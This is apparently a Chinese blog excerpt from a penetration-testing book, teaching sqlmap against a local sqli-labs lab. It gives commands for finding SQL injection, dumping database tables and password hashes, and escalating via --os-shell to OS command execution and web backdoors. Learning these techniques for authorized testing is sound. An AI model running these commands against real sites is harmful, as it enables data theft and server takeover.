博客内容摘录至《Web安全攻防渗透测试实战指南》电子工业出版社
环境要求
安装sqlmap需要安装python环境,具体python版本见官网要求(http://www.sqlmap.org)下载最新版的sqlmap
下载到python的安装目录下,并把sqlmap目录加到环境变量中。
打开cmd,输入sqlmap.py命令后工具即可正常运行(Kali默认安装)
SQLMap入门
搭建sqli-labs靶场环境进行测试或寻找目标注入点
1.判断是否存在注入
判断目标是否存在注入的命令如下:
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1
结果显示存在注入,如下所示:
ps:当注入点后面的参数大于等于两个时,需要加双引号"
2.判断文本中的请求是否存在注入
从文件中加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包
-r 一般在存在cookie注入时使用
root@kali:~# sqlmap -r test.txt
3.查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --dbs
继续注入时--dbs缩写成-D xxx ,xxx是数据库名
4.获取数据库中的表名
该命令用于查询完数据库后,查询指定数据库中所有的表名。
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa --tables
继续注入时--tables缩写成-T
5.获取表中的字段名
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa -T users --columns
后续注入缩写成-C
6.获取字段内容
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa -T users -C user,password --dump
7.获取数据库的所有用户
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --users
8.获取数据库用户的密码
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --passwords
9.获取当前网站数据库的名称
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --current-db
10.获取当前网站数据库的用户名称
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --current-user
SQLMap进阶
1.--level5:探测等级
参数--level5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1,sqlmap使用的payload可以在xml/payload.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。当然。level5的运行速度也比较慢。 这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTPUser-Agent/Referer头在level为3时就会测试。总之,在不确定哪个payload或参数为注入点时,为了保证全面性,建议使用搞的level至。
2.--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户,如果是返回true。
3.--roles:列出数据库管理员角色
该命令用户查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色该命令仅适用于当前数据库是Oracle的时候
4.--referer:HTTP Referer头
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以用referer命令来欺骗,如--referer baidu.com
5.--sql-shell:运行自定义sql语句
该命令用于执行指定的sql语句 sqlmap -u xxx --sql-shell
6.--os-cmd,--os-shell:运行任意操作系统命令
在数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,如果数据库为mysql、postgresql,sqlmap上传一个二进制库,包含用户自定义的函数sys_execu()和sys_eval(),那么创建的这个两个函数就可以执行系统命令。在microsoft sql server中,sqlmap将使用xp_cmdshell存储过程,如果被禁用(microso sql server 2005及以上版本默认被禁制),则sqlmap会重新启用它;如果不存在,会自动创建 用--os-shell参数可以模拟一个真实的shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为Mysql),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是--is-dba的值要为True)
7.--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
8.--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。